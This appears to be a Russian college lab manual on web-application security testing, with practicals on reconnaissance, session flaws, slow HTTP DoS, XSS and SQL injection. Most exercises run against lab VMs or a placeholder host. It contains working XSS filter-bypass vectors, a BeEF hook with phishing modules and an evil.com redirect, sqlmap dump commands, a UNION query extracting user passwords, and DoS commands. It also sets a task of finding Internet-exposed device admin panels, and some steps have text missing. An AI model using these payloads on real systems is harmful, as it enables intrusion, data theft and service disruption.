31 MR MDK OBV - mkit.online€¦ · user=test&password=Zz123456 Если аутентификация прошла успешно, то приложение уязвимо к атаке

ВВЕДЕНИЕ

Основное назначение дисциплины МДК.09.03 «Обеспечение безопасности веб-приложений» в

средних профессиональных образовательных учреждениях состоит в формировании у студентов

общих и профессиональных компетенций, владение которыми позволяет осуществлять аудит

безопасности веб-приложения в соответствии с регламентами по безопасности.

Содержание дисциплины предусматривает повторение и систематизацию знаний, полученных

в средней общеобразовательной школе, формирование общих и профессиональных компетенций.Практическое занятие – это форма организации учебного процесса, предполагающая

выполнение обучающимися заданий самостоятельно и под руководством преподавателя. Дидактическая цель практических работ – формирование у обучающихся профессиональных и

практических умений, необходимых для изучения последующих учебных дисциплин, а также

подготовка к применению этих умений в профессиональной деятельности. Практические занятия предполагают работу, связанную с постановкой задач по

осуществлению аудита безопасности веб-приложения в соответствии с регламентами по

безопасности.

Структура практических занятий включает в себя:– теоретические вопросы по изучаемым темам, – практические задания для решения с помощью программных средств.

3

ПРАКТИЧЕСКАЯ РАБОТА № 1. СБОР ИНФОРМАЦИИ О WEB-ПРИЛОЖЕНИИ

Цель: обучение методам и средствам сбора информации об анализируемом веб-приложении.

Теоретические вопросыМетоды и средства сбора информации об анализируемом веб-приложении.Задание № 1. Выполнить сбор информации об анализируемом веб-приложении.Пример сбора информации об анализируемом (условном) веб-приложении

www.test.app.com/robots.txt. Последовательность действий.Шаг 1. В адресной строке браузера перейти по адресу www.test.app.com/robots.txt.

Проанализировать содержимое файла. Сделать выводы о наличии «скрытых» директорий.Шаг 2. В адресной строке браузера перейти по адресу http://www.test.app.com/crossdomain.xml

и, затем, по адресу http://www.test.app.com/clientaccesspolicy.xml. Проанализировать содержимое

файлов. Сделать выводы о корректности конфигурации политики междоменного взаимодействия.Шаг 3. Перейти по адресу http://www.google.com. Задать поисковые запросы, определяемые

анализируемым приложением, например: site:www.test.app.com filetype:docx confidential;

site:www.test.app.com filetype:doc secret;

site:www.test.app.com inurl:admin;

site:www.test.app.com filetype:sql;

site:www.test.app.com intext: "Access denied".

Проанализировать логику запросов и полученные данные. Построить свои запросы, используя

примеры из базы запросов.Шаг 4. Перейти по адресу http://www.shodanhq.com. Задать следующий поисковый запрос:hostname:www.test.app.com

Построить свои запросы для приложения www.test.app.com.

Шаг 5. Данный тест выполняется только для приложений, размещенных в лабораторной сети. С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию ОС веб-сервера:

# nmap –O www.test.app.com –vv

# xprobe2 www.test.app.com

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat:

# nc www.test.app.com 80

Отправить следующий GET запросGET / HTTP/1.1

Host: www.test.app.com

\r\n

По заголовкам Server и X-Powered-By определить программное обеспечение, реализующее

веб-сервер и фрэймворк веб-приложения. В браузере установить расширение Wappalyzer, перейти

по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения

полученное через Wappalyzer.

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС

Windows) выполнить идентификацию веб-сервера:# cd /pentest/enumeration/web/httprint/linux

# ./httprint –h www.test.app.com –s signatures.txt

4

С помощью сканера Wafw00f проверить наличие у вебприложения подсистемы WAF:

# cd /pentest/web/waffit

# python ./wafw00f.py http://www.test.app.com

# python ./wafw00f.py https://www.test.app.com

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов. Для этого необходимо отправить с помощью Burp Suite или Netcat запрос следующего вида:

OPTIONS / HTTP/1.1


\r\n

Проверить, поддерживает ли сервер обработку запросов с произвольными методами:DOGS / HTTP/1.1


\r\n

Если веб-сервер поддерживает метод TRACE, то это может привести к уязвимости к атаке

Cross-Site Tracing (XST). Для проверки поддержки веб-сервером методы TRACE отправить запрос

TRACE / HTTP/1.1


\r\n

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен

ответа видаHTTP/1.1 200 OK

Connection: close

Content-Length: 39

TRACE / HTTP/1.1


Задание № 2. Найти административные интерфейсы коммуникационного и сетевого

оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Интернет.

Задание № 3. Оформить отчет.

ПРАКТИЧЕСКАЯ РАБОТА № 2. ТЕСТИРОВАНИЕ ЗАЩИЩЕННОСТИ

МЕХАНИЗМА УПРАВЛЕНИЯ ДОСТУПОМ И СЕССИЯМИ

Цель: обучение методам и средствам тестирования защищенности механизма управления

доступом в веб-приложениях, современным методам и средствам тестирования защищенности

механизма управления сессиями в веб-приложениях.Теоретические вопросыМетоды и средства тестирования защищенности механизма управления доступом в веб-

приложениях.Методы и средства тестирования защищенности механизма управления сессиями в веб-

приложениях.

5

Задание № 1. Выполнить тестирование защищенности механизма управления доступом

исследуемого веб-приложения.Последовательность действийШаг 1. Настроить работу браузера через штатный проксисервер Burp Suite. В веб-браузере

открыть главную страницу тестируемого веб-приложения www.test.app.com.

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и

пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов

пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать

реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора

паролей пользователями. Опционально выполнить атаку полного перебора паролей.Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо

убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что

вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу

HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных

учетных записей. Проверить, что новые учетные записи создаются с различными паролями.Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы

регистрации, входа и восстановления пароля. Для этого следует ввести несуществующее имя

пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего

пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено

одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть

получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал

(оракул), позволяющий идентифицировать его пользователей.Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя

пользователя. Ввести несколько раз неправильный пароль (5–10 раз). После этого ввести

правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных

записей (для 5–10). Проверить возможность доступа к веб-приложению. Блокирование учетных

записей пользователя после нескольких неудачных попыток входа создает условие для реализации

DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо

этого необходимо использовать возрастающие временные задержки или средства анти-автоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами

кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не

кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным

контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не

должен иметь возможность выполнять новые запросы (при корректной реализации управления

сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это

означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в

истории. Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache-

Control и Expires со следующими рекомендованными значениями:Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate,

6

max-age=0

Expires: -1

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин:«guest», пароль: «guest».

Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить

условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение

AccessControlMatrix.html на ../../main.jsp. Нажать кнопку «View File». Перейти по ссылке «LAB:

Role Based Access Control →Stage 1». Изучить условия задачи. Войти под пользователем Tom

(пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не

должен иметь возможности удалять учетные записи. Нажать кнопку «View Profile». В Burp Suite

просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML-

размету, заменив элемент<input type="submit" value="ViewProfile"

name="action">

на элемент<input type="submit" value="DeleteProfile"

name="action">

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp Suite. Профиль

пользователя будет удален. Опционально решить задачу «LAB: Role Based Access Control → Stage

2». Перейти по ссылке «LAB: Role Based Access Control →Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «View Profile». В Burp Suite

просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля. Используя FireBug (или любой аналогичный инструмент), изменить HTML-размету, заменив

элемент <option value="105" selected="">Tom Cat (employee)</option>

на элемент<option value="103" selected="">Tom Cat (employee)</option>

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp Suite. Будут выведены данные профиля пользователя

Curly Stooge.

Опционально решить задачу «LAB: Role Based Access

Control → Stage 4».

Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю

«Admin Functions». Перейти по ссылке WebGoat/attack?Screen=86&menu=200&admin=true.

Просмотреть подменю «Admin Functions».__

Задание № 2. Изучить рекомендации к защищенной реализации механизма хранения паролей. Исследовать механизм восстановления паролей выбранного веб-приложения.

Задание № 3. Исследовать минимально допустимую длину и сложность паролей в

произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

Задание № 4. Выполнить тестирование защищенности механизма управления сессиями

исследуемого веб-приложения.Последовательность действийШаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере

открыть главную страницу тестируемого веб-приложения www.test.app.com. Просмотреть Cookie,

определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

7

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве

транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie,

то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в Burp

Suite, проанализировать вероятностные характеристики последовательности идентификаторов

сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов

требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для

генерации сессионного идентификатора пользователя.Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб-

браузере (можно использовать расширение Export Cookies), выйти из приложения. Импортировать

сохраненные ранее Cookie в браузер (можно использовать расширение Import Cookies). Перейти

по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что

аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после

аутентификации, содержит ссылку типа «Sign out», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого

проверить наличие следующего недостатка: веб-приложение не обновляет сессионный

идентификатор, отправленный браузером пользователя, после успешной аутентификации

последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

GET / HTTP/1.1


\r\n

Получить и проанализировать ответHTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server

Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure

Аутентифицироваться, используя запрос с полученным иден-тификатором ID:

POST https://www.test.app.com/auth HTTP/1.1


Cookie: ID=d8eyYq3L0z2fgq10m4v

\r\n

user=test&password=Zz123456

Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии. Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не

раскрывается в лог-файлах, сообщениях об ошибках, URL и т.д.Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации,

смены пароля, роли и т.д.Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух

разных узлов сети.8

Задание № 5. Предложить сценарий атаки, использующий недостаток аннулирования сессии

только на клиентской стороне веб-приложения.Задание № 6. Используя поисковые системы (Google, Shodan), найти веб-приложения с

механизмом URL Rewriting.

Задание № 7. Написать сценарий JavaScript, устанавливающий или считывающий

идентификатор сессии пользователя.Задание № 8. Оформить отчет.

ПРАКТИЧЕСКАЯ РАБОТА № 3. ТЕСТИРОВАНИЕ НА УСТОЙЧИВОСТЬ К АТАКАМ

ОТКАЗА В ОБСЛУЖИВАНИИ

Цель: обучение методам и средствам тестирования веб-приложений на устойчивость к атакам

отказа в обслуживании (DoS-атакам).Теоретические вопросыМетодам и средства тестирования веб-приложений на устойчивость к атакам отказа в

обслуживании (DoS-атакам).Задание № 1. Выполнить тестирование устойчивости веб-приложения www.test.app.com к

DoS-атакам на уровне протокола HTTP.

Последовательность действийШаг 1. Установить программу slowhttptest, доступную по URL вида

https://code.google.com/p/slowhttptest. Изучить документацию. Запустить сетевой анализатор

Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.app.com, установить и

выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку

соединения, проверить доступность веб-сервера с помощью произвольного браузера:# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000

–u http://www.test.app.com

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку

соединения, проверить доступность веб-сервера с помощью произвольного браузера:# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000

–u http://www.test.app.com


Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного

размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью

произвольного браузера:# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50

– w 1 -y 2 -z 1 –u http://www.test.app.com/bigauth.js


9

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Проделать предыдущие шаги в

отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в

отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header.

Проанализировать результаты. Выполнить команду# slowhttptest -R -u http://www.test.app.com -t GET

– c 1000 -a 10 -b 3000 -r 500

Выполнить атаку Apache Range Header с использованием Metasploit Framework:

# msfconsole

> use auxiliary/dos/http/apache_range_dos

> show options

> set RHOSTS www.test.app.com

> set RPORT 80

> set RLIMIT 100

> set THREADS 3

> run

Задание № 2. Проанализируйте, как можно по косвенным признакам определить уязвимость

веб-сервера к атакам типа Slow HTTP DoS?

Задание № 3. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.

Задание № 4. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.


ПРАКТИЧЕСКАЯ РАБОТА № 4. ПОИСК УЯЗВИМОСТЕЙ К АТАКАМ XSS

Цель: обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам XSS.

Теоретические вопросыМетоды и средства идентификации и эксплуатации уязвимостей веб-приложений к атакам

XSS.

Задание № 1. Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

Последовательность действийШаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать

виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования

веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести

вектор <script>alert(1)</script>

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования


вектор<script>alert(1)</script>

Убедиться, что слово script фильтруется. Ввести вектор<ScRipT>alert(1)</sCrIpT>

10




Убедиться, что слово <script> вырезается. Ввести вектор<scr<script>ipt>alert(1)</s</script>cript>




Убедиться, что слово <script> вырезается корректно. Ввести вектор<img/src=1 onerror=alert(1)>



вектора<script>alert(1)</script>

<img/src=1 onerror=alert(1)>

Убедиться, что слово alert вырезается корректно. Ввести вектора<img/src=1 onerror=\u0061alert(1)>

<img/src=1 onerror=prompt(1)>

<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">



вектора

";alert(1);"

</script><script>alert(1);//



вектор";alert(1);"

Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве переменной name

ввести вектор ';alert(1);'


веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются

корректно. Изменить URL на _______следующий:xss/example8.php/"onsubmit="alert(1)

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику

функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере

перейти по ссылкеxss/example9.php#<script>alert(1)</script>.

Убедиться, что никакого HTTP-запроса не отправляется.Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS →

Example 1». В качестве значения параметра name ввести вектор<script src="http://1.1.1.1:3000/hook.js"></script>

11

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online

Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о

браузере и компьютере. Перейти во вкладку «Commands». Выполнитьследующие команды и проанализировать полученные результаты:− «Create Alert Dialog»;

− «Redirect Browser», перенаправив пользователя на сайт http://evil.com;

− «Clickjacking»;

− «Clippy»;

− «Fake Notification Bar»;

− «Google Phishing»;

− «Pretty Theft».

Задание № 2. Выполнить задания по поиску уязвимостей к атакам XSS на сайте xss-

game.appspot.com.

Задание № 3. Выполнить задания по поиску уязвимостей к атакам XSS на сайте escape.alf.nu.

Задание № 4. Выполнить задания по поиску уязвимостей к атакам XSS на сайте prompt.ml.


ПРАКТИЧЕСКАЯ РАБОТА № 5. ПОИСК УЯЗВИМОСТЕЙ К АТАКАМ SQL-

INJECTION

Цель: обучение методам и средствам идентификации и эксплуатации уязвимостей в веб-приложениях к атакам SQL-injection.

Теоретические вопросыМетоды и средства идентификации и эксплуатации уязвимостей в веб-приложениях к атакам

SQL-injection.

Задание № 1. Выполнить идентификацию и эксплуатацию уязвимостей катакам SQL-injection.

Последовательность действийШаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать

виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику

функционирования веб-приложения. Последовательно ввести следующие запросы, обращая

внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-

запроса:− sqli/example1.php?name=root'

− sqli/example1.php?name=root"

− sqli/example1.php?name=root'%201=1

− sqli/example1.php?name=root'%201=1#

− sqli/example1.php?name=root'%201=1%20–

− sqli/example1.php?name=root'%201=1%20/*

− sqli/example1.php?name=root'%20'1'='1

− sqli/example1.php?name=root'%20'1'='2

− sqli/example1.php?name=root'%23sqli

12

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-

injection. Выполнить следующую команду:# python sqlmap.py –p name ––dmbs=mysql ––dump

–u http://IP_address/sqli/example1.php?name=root

Просмотреть результаты работы программы, просмотреть полученные данные из базы

данных.Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику


внимание на вывод веб-приложения, сделать предположение о структуреиспользуемого SQL-запроса:− sqli/example2.php?name=root%20and%201=1

− sqli/example2.php?name=root'%09and%09'1'='1

− sqli/example2.php?name=root'%09and%09'1'='2

− sqli/example2.php?name=root'%2b%2b'


injection. Запустить sqlmap, убедиться, что в данном случае он не смог идентифицировать

уязвимый параметр.Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику


внимание на вывод веб-приложения, сделать предположение о структуреиспользуемого SQL-запроса:− sqli/example3.php?name=root%20and%201=1

− sqli/example3.php?name=root'/**/and/**/'1'='1

− sqli/example3.php?name=root'/**/and/**/'1'='2

− sqli/example3.php?name=root'%2b%2b'


injection. Запустить sqlmap, убедиться, что в данном случае он не сможет идентифицировать

уязвимый параметр.Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику


внимание на вывод веб-приложения, сделать предположение о структуреиспользуемого SQL-запроса:− sqli/example4.php?id=2

− sqli/example4.php?id=2'

− sqli/example4.php?id=2"

− sqli/example4.php?id=1%2b1


− sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-

injection. Выполнить следующую команду:# python sqlmap.py –p id ––dmbs=mysql ––dump

–u http://IP_address/sqli/example4.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

13

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику



запроса:− sqli/example5.php?id=2







injection. Выполнить следующую команду:# python sqlmap.py –p id ––dmbs=mysql ––dump

–u http://IP_address/sqli/example5.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику











injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать

уязвимый параметр. Просмотреть исходный код PHP-сценария.Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику








− sqli/example7.php?id=2%0Aand%201=1

− sqli/example7.php?id=2%0Aand%201=2

− sqli/example7.php?id=2%0A%23sqli


injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать

уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:14

− sqli/example7.php?id=2%0Aunion%20select%201

− sqli/example7.php?id=2%0Aunion%20select%201,2

− sqli/example7.php?id=2%0Aunion%20select%201,2,3

− sqli/example7.php?id=2%0Aunion%20select%201,2,3,4

− sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,5

− sqli/example7.php?id=2%0Aunion%20select%20name,passwd,1,1,1 from users

Ручными методами получить данные из базы данных. Просмотреть исходный код PHP-

сценария.Задание № 3. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-

приложения, уязвимого к атаке SQL-injection.

Задание № 4. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для

хранения данных СУБД MySQL, получить содержимое служебной базы данных

INFORMATION_SCHEMA.


ЛИТЕРАТУРА

Печатные издания1. Аверин, В. Н. Компьютерная графика: учебник для студ. учреждений сред. проф.

образования. - М.: Академия, 2018. - 256 с. ISBN 978-5-4468-7311-1

Электронные издания (электронные ресурсы)1.Система федеральных образовательных порталов Информационно -коммуникационные

технологии в образовании. [Электронный ресурс] – режим доступа: http://www.ict.edu.ru (2003-

2017)

Дополнительные источники1. Тузовский, А. Ф. Проектирование и разработка web-приложений : учебное пособие для

среднего профессионального образования / А. Ф. Тузовский. — Москва : Издательство Юрайт, 2019. — 218 с. — (Профессиональное образование). — ISBN 978-5-534-10017-4. — Режим доступа

: www.biblio-online.ru/book/proektirovanie-i-razrabotka-web-prilozheniy-442423

2. Сысолетин, Е. Г. Разработка интернет-приложений : учебное пособие для среднего

профессионального образования / Е. Г. Сысолетин, С. Д. Ростунцев. — Москва : Издательство

Юрайт, 2019. — 90 с. — (Профессиональное образование). — ISBN 978-5-534-10015-0. — Режим

доступа : www.biblio-online.ru/book/razrabotka-internet-prilozheniy-442422

15

http://www.ict.edu.ru/

Documents

31 MR MDK OBV - mkit.online€¦ · user=test&password=Zz123456 Если аутентификация прошла успешно, то приложение уязвимо к атаке